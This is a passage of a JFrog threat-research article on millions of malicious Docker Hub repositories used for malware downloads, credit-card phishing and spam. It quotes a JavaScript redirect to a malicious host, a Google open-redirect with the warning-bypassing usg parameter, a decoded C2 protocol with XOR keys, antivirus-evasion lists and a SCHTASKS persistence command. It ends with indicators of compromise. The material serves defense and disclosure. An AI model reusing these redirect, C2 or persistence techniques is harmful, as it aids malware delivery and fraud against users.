Malware Campaign</em></p>\n<p>This strategy, developed in 2021, worked for some time until AV companies found a list of the links and added them to their blacklists. Currently, browsers and providers raise alerts when an attempt is made to access one of the links from the table above.</p>\n<h4>The 2023 round – Enhanced anti-detection techniques</h4>\n<p>The second round of the campaign, which occurred in 2023, focused on avoiding detection. The malicious repositories no longer use direct links to malicious sources. Instead, they point to legitimate resources as redirects to malicious sources.</p>\n<p>Among these resources is a page hosted on blogger.com that contains JavaScript code that redirects to the malicious payload after 500 milliseconds:</p>\n<pre><code>&lt;script type='text/javascript'&gt;\r\n var c = new URL(window.location).searchParams.get('el');\r\n if(c!=null){\r\n setTimeout('write()', 500);\r\n setTimeout('Redirect()', 0);\r\n }else{\r\n \twindow.setTimeout(function(){\r\n document.getElementById('redir').href='https://gohhs.com/';\r\n }, 500);\r\n }\r\n function write()\r\n {\r\n document.getElementById('redir').href='https://gohhs.com/'+c;\r\n }\r\n function Redirect()\r\n {\r\n window.location.replace('https://gohhs.com/'+c);\r\n }\r\n&lt;/script&gt;\r\n</code></pre>\n<p>Another approach is a <a target=\"_blank\" href=\"https://isc.sans.edu/diary/How+Malware+Campaigns+Employ+Google+Redirects+and+Analytics/19843\">well-known</a> open redirect bug in Google, which allows malicious actors to redirect users to a malicious site with a legitimate Google link using specific parameters.</p>\n<p>Normally, the Google link <strong>https://www[.]google[.]com/url?q=https%3A%2F%2Fexample.us%2F</strong> doesn’t redirect a user to the target site. Instead, it shows a notice warning that they are being redirected to another domain.</p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/21130320/Image5_Redirect-Notice.png\" alt=\"Redirect Notice\" /><i><span>Example of a Redirection Notice</span></i></p>\n<p>However, it’s possible to add the undocumented parameter <strong>usg</strong> to disable this warning. The parameter contains a hash or signature that causes google.com to redirect to the target site automatically –</p>\n<table>\n<tbody>\n<tr>\n<td><strong>PROTOCOL:</strong></td>\n<td>https</td>\n</tr>\n<tr>\n<td><strong>HOST:</strong></td>\n<td>www.google.com</td>\n</tr>\n<tr>\n<td><strong>PATH:</strong></td>\n<td>/url</td>\n</tr>\n<tr>\n<td><strong>PARAMS:</strong></td>\n<td>\n<table>\n<tbody>\n<tr>\n<td><strong>q</strong></td>\n<td>=</td>\n<td>https://urlin.us/2vwNSW</td>\n</tr>\n<tr>\n<td><strong>sa</strong></td>\n<td>=</td>\n<td>D</td>\n</tr>\n<tr>\n<td><strong>sntz</strong></td>\n<td>=</td>\n<td>1</td>\n</tr>\n<tr>\n<td><strong>usg</strong></td>\n<td>=</td>\n<td>AOvVaw1A6cBKittNvLawLc7IB9M0</td>\n</tr>\n</tbody>\n</table>\n</td>\n</tr>\n</tbody>\n</table>\n<p>This redirect leads to the target site. At the time of writing, the target sites were gts794[.]com and failhostingpolp[.]ru. These sites lure the victim to download an advertised software. However, regardless of the name on the landing page, the downloaded file is always the same archive with an EXE installer. As we can see in the <a target=\"_blank\" href=\"https://app.any.run/tasks/0d2a678c-4678-42ae-b824-e9e74adde227/\">AnyRun analysis</a>, the malware installs a binary called <strong>freehtmlvalidator.exe</strong> into the directory “%LOCALAPPDATA%\\HTML Free Validator”</p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/21131632/Image6_Malicious-Payload-Served-in-the-Downloader-Campaign.png\" alt=\"Malicious Payload Served in the Downloader Campaign\" /><em>Malicious Payload Served in the Downloader Campaign</em></p>\n<h4>Analysis of the “Downloader” campaign payload</h4>\n<p>The payload of the “Downloader” campaign is a malicious executable that most antivirus engines detect as a generic Trojan.</p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/21131829/Image7_Security-Vendor-Analysis.png\" alt=\"Security Vendor Analysis\" /><em>Detection of the Served Payload by Antiviruses</em></p>\n<p>The malware is written with the successor to the once-popular Delphi environment: Embarcadero RAD Studio 27.0.</p>\n<p>The malware communicates with the C2C server <strong>http://soneservice[.]shop/new/net_api</strong> using HTTP POST requests. The request is a JSON message XORed with the three-byte key “787” and encoded in hex.</p>\n<pre><code>{\r\n \"5E4B1B4F\": \"4D571F435C025E5B0A465B114B4602455C0F4B460A\",\r\n \"465B0F\": \"664eed76ed570dbb4cba2bdcb3479b5f\",\r\n \"4E531F4B\": \"en\"\r\n}</code></pre>\n<p>The fields of the JSON are encoded in the same manner but using a different key: “<strong>*2k</strong>”. Knowing this, we can decode the request to</p>\n<pre><code>{\r\n \"type\": \"getinitializationdata\",\r\n \"lid\": \"664eed76ed570dbb4cba2bdcb3479b5f\",\r\n \"data\": \"en\"\r\n}</code></pre>\n<p>The first command sent by the malware to the server is <strong>getinitializationdata</strong>. It contains two parameters: the malware’s unique identifier (“lid”) and the system locale identifier. The latter informs the server about the language setting of the infected system, enabling customized responses. The malware uses this unique identifier for all subsequent server requests.</p>\n<p>In response, the server provides layout and localization details specific to Delphi, which are adapted based on the system’s language setting.</p>\n<p>Afterwards, the malware sends an <strong>initialization</strong> request passing information about the infected system. The information includes OS-specific information, hardware, installed browser, version of the .NET framework, running processes, and available network adapters. The server, in return, provides a link to the alleged promised software and a list of offers. The promised software part is represented by URL and file name:</p>\n<pre><code> \"file\": {\r\n \"download_url\": \"http:\\/\\/totrakto.com\\/CRACK-IDA-Pro-V6-8-150423-And-HEX-Rays-Decompiler-ARM-X86-X64-iDAPROl.zip\",\r\n \"name\": \"CRACK-IDA-Pro-V6-8-150423-And-HEX-Rays-Decompiler-ARM-X86-X64-iDAPROl.zip\",\r\n \"size\": 64918480\r\n },</code></pre>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/29175144/Img7.png\" /><em>Malware’s Communication with the C2 Server</em></p>\n<p>The “offers” section of the response contains a list of the links to executables, too. Additionally, it outlines various conditions that must be met to drop executables. The most significant conditions are:</p>\n<ul>\n<li><strong>excludeGeoTargeting</strong> contains codes of countries where the malware shouldn’t be installed\n<pre><code>\"excludeGeoTargeting\": [\r\n \"RU\",\r\n \"AZ\",\r\n \"AM\",\r\n \"BY\",\r\n]</code></pre>\n</li>\n<li><strong>blackAvList</strong> contains a list of antivirus applications that will also prevent the malware from being installed\n<pre><code>\"blackAvList\": [\r\n \"avast\",\r\n \"avg\",\r\n \"avira\",\r\n \"nod32\",\r\n \"mcafeeep\",\r\n \"windef\",\r\n]</code></pre>\n</li>\n<li>A process blacklist (wasn’t observed in payload sample)</li>\n<li>A list of Windows registry entries that must be present on the target system (wasn’t observed in payload sample)</li>\n</ul>\n<p>Considering that the malware already sends information about the system to the server, we find these conditions on the client a bit redundant. Also, the response contains fields that were never used by the malware binary but are typical for advertisement networks, such as <strong>price, offer_id</strong>, and <strong>advertiser_id</strong>. From these fields we can assume that this malware operation is part of a broader ecosystem, potentially involving adware or monetization schemes that benefit from the distribution and installation of third-party software. Building on this understanding, we further assume that these request parameters are likely copied and embedded into the software from a dubious advertising network API, where third parties may pay for the distribution of their executables.</p>\n<pre><code>\"advertiser_id\": 7,\r\n\"groupOffer_id\": 43,\r\n\"price\": 0.064,\r\n\"price_usd\": 0.064,\r\n\"tarif\": 0.08,\r\n\"use_balance\": \"0\",</code></pre>\n<p>After processing the response, the malware shows an installation dialog that proposes to the user to download and install the software promised in the malicious Docker Hub repository –</p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/21133848/Image8_Download-Assistant.png\" alt=\"Download Assistant\" /><em>Installation Dialog Shown by Malware</em></p>\n<p>After accepting, in addition to installing the promised software, the malware just downloads all the malicious binaries from offer and schedules their persistent execution with the command <strong>“SCHTASKS.exe /Create /TN &lt;random_name&gt; /RL HIGHEST /SC DAILY”</strong>.</p>\n<h3 id=\"ebook-phishing\">2. “eBook Phishing” Campaign</h3>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/29175243/Img8.png\" /><em>Malware repositories registered per day by ebook_phishing campaign</em></p>\n<p>Nearly a million repositories created in the middle of 2021 turned Docker Hub into a “pirated eBook library”. These spam repositories all offered free eBook downloads containing randomly generated descriptions and download URLs –</p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/21150009/Image9_img-example-of-the-phishing-ebook-repository.png\" alt=\"img. example of the phishing ebook repository\" /><em>Example of an eBook phishing repository</em></p>\n<p>All links eventually redirect the user to the same page: <strong>http://rd[.]lesac[.]ru/</strong>.</p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/21150108/Image10_ebook-downloading-landing-page.png\" alt=\"ebook downloading landing page\" /><em>eBook download landing page</em></p>\n<p>After promising a free full version of the eBook, the website chooses a random page from the set available for the user’s IP and redirects them there. The following steps depend on the user’s country, but usually, it’s a form asking the user to enter credit card information.</p>\n<p>Undoubtedly, the sole intent behind this action is phishing, aiming to steal credit card details and unknowingly enroll the user in a subscription service. The footer on these target sites usually has barely-readable text, saying the subscription charges 40-60€ per month.</p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/29175348/Img9.png\" /></p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/21150303/Image11_Some-phishing-sites-from-the-campaign.png\" alt=\"Some phishing sites from the campaign\" /><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/21150333/Image12_Some-phishing-sites-from-the-campaign.png\" alt=\"Some phishing sites from the campaign\" /></p>\n<p><em><span>Some phishing sites from the campaign (click to expand)</span></em></p>\n<h3 id=\"website-seo\">3. “Website SEO” Campaign</h3>\n<p>Unlike the previous two campaigns, which were blatantly malicious (phishing / malware download) the aim of this campaign is not so clear. While the repositories themselves were obviously not uploaded in good faith, the content is mostly harmless – just a random description string with a username generated by the pattern “axaaaaaxxx” where a is a letter and x is a digit. All repositories published by these users have the same name: website.</p>\n<p><strong>It is possible that the campaign was used as some sort of a stress test before enacting the truly malicious campaigns.</strong></p>\n<p>This campaign also has a different registration routine. As we can see from the graph, the actors behind this campaign created a thousand repositories daily across three years! This is unlike the previous campaigns, which focused on generating imageless repositories in a much shorter time. In this campaign the attackers published only one repository per created user, whereas in the previous campaigns, a single user was used to publish thousands of repositories.</p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/29175607/Img10.png\" /><em><span>Malware repositories registered per day by “Website SEO” campaign</span></em></p>\n<p>In this campaign, the repository description usually contains a short, seemingly random, and senseless phrase without any other information.<br />\nSome of the repositories contain links to social network sites, but these seem to contain mostly garbage as well, and not malicious URLs or files –</p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/21150903/Image13_repositories-contain-links-to-social-network-sites.png\" alt=\"Repositories containing links to social network sites\" /></p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/21150938/Image14_repositories-contain-links-to-social-network-sites.png\" alt=\"Repositories containing links to social network sites\" /><em>Example of a Website SEO Campaign Repositories’ Description</em></p>\n<p>Below are some user names from this campaign, with the relevant descriptions in the repository documentation –</p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/21151115/Image15_user-names-with-the-relevant-descriptions-in-the-repository-documentation.png\" alt=\"User names with the relevant descriptions in the repository documentation\" /><em>Random Phrases from the Website SEO Campaign’s Repositories</em></p>\n<p>When we searched for these usernames, we found that this campaign also targeted other platforms that have open contribution policies –</p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/21151317/Image16_Campaign-targeting-platforms-that-have-a-loose-content-moderation-policy.png\" alt=\"Campaign targeting platforms that have a loose content moderation policy\" /><em>Website SEO Campaign Usernames Used in other Platforms</em></p>\n<h2>Disclosure to Docker Inc.</h2>\n<p>Prior to this publication, the JFrog research team disclosed all findings to the Docker security team, including 3.2M repositories that were suspected as hosting malicious or unwanted content. The Docker security team quickly removed all of the malicious and unwanted repositories from Docker Hub. We would like to thank the Docker security team for handling this disclosure quickly and professionally, and are happy to contribute to the continued safe use of the Docker ecosystem.</p>\n<h2>How Can Docker Hub Users Avoid Similar Attacks?</h2>\n<p>Users should prefer using Docker images that are marked in Docker Hub as “Trusted Content” –</p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/30145322/img1-1.png\" /></p>\n<p>Docker Hub has designated tags for trusted content that users can look for when browsing an image’s description page. The first tag is the <a target=\"_blank\" href=\"https://docs.docker.com/trusted-content/official-images/\">Docker Official Image</a> tag, otherwise known as Docker Hub’s Library, a set of curated Docker repositories. The Library consists of repositories that are maintained by trusted and well-known software development foundations, organizations and companies, such as Python, Ubuntu and Node. The second tag is the <a target=\"_blank\" href=\"https://docs.docker.com/trusted-content/dvp-program/\">Verified Publisher</a> tag, which is assigned to every repository that is part of the Docker Verified Publisher Program. This set contains repositories from commercial publishers, who have been verified by Docker Hub. And lastly, the <a target=\"_blank\" href=\"https://docs.docker.com/trusted-content/dsos-program/\">Sponsored OSS</a> tag, which is assigned to repositories of open source projects that are sponsored by Docker Hub.</p>\n<p>When browsing a repository’s page, a badge that indicates that the repository is part of one of the aforementioned types would appear next to the repository’s name, at the top of the page –</p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/30145407/img2-1.png\" /></p>\n<p>Following these guidelines would decrease the risk of being manipulated into following a malicious link outside of Docker Hub from a repository’s description page. For example – none of the malicious repositories mentioned in this blog was marked as “Trusted Content”.</p>\n<h2>Summary</h2>\n<p>Unlike typical attacks targeting developers and organizations directly, the attackers in this case tried to leverage Docker Hub’s platform credibility, making it more difficult to identify the phishing and malware installation attempts.</p>\n<p>Almost three million malicious repositories, some of them active for over three years highlight the attackers’ continued misuse of the Docker Hub platform and the need for constant moderation on such platforms.</p>\n<h2>IoCs</h2>\n<p>failhostingpolp[.]ru<br />\ngts794[.]com<br />\nblltly[.]com<br />\nltlly[.]com<br />\nbyltly[.]com<br />\nbytlly[.]com<br />\ncinurl[.]com<br />\nfancli[.]com<br />\ngeags[.]com<br />\ngohhs[.]com<br />\nimgfil[.]com<br />\njinyurl[.]com<br />\nmiimms[.]com<br />\npicfs[.]com<br />\nshoxet[.]com<br />\nshurll[.]com<br />\nssurll[.]com<br />\ntinourl[.]com<br />\ntinurli[.]com<br />\ntinurll[.]com<br />\ntiurll[.]com<br />\ntlniurl[.]com<br />\ntweeat[.]com<br />\nurlca[.]com<br />\nurlcod[.]com<br />\nurlgoal[.]com<br />\nurllie[.]com<br />\nurllio[.]com<br />\nurloso[.]com<br />\nurluso[.]com<br />\nurluss[.]com<br />\nvittuv[.]com<br />\nrd[.]lesac[.]ru<br />\nsoneservice[.]shop</p>\n<h2>Stay up-to-date with JFrog Security Research</h2>\n<p>The security research team’s findings and research play an important role in improving the JFrog Software Supply Chain Platform’s application software security capabilities.</p>\n<p>Follow the latest discoveries and technical updates from the JFrog Security Research team on our <a target=\"_blank\" href=\"https://research.jfrog.com/\">research website</a>, and on X <a target=\"_blank\" href=\"https://twitter.com/JFrogSecurity\">@JFrogSecurity</a>.</p>\n </div>",
"author": "@jfrog",
"favicon": "https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2019/04/20131046/Jfrog16-1.png",
"source": "jfrog.com",
"published": "2024-05-01T12:54:30+00:00",
"ttr": 651,
"type": "article"
}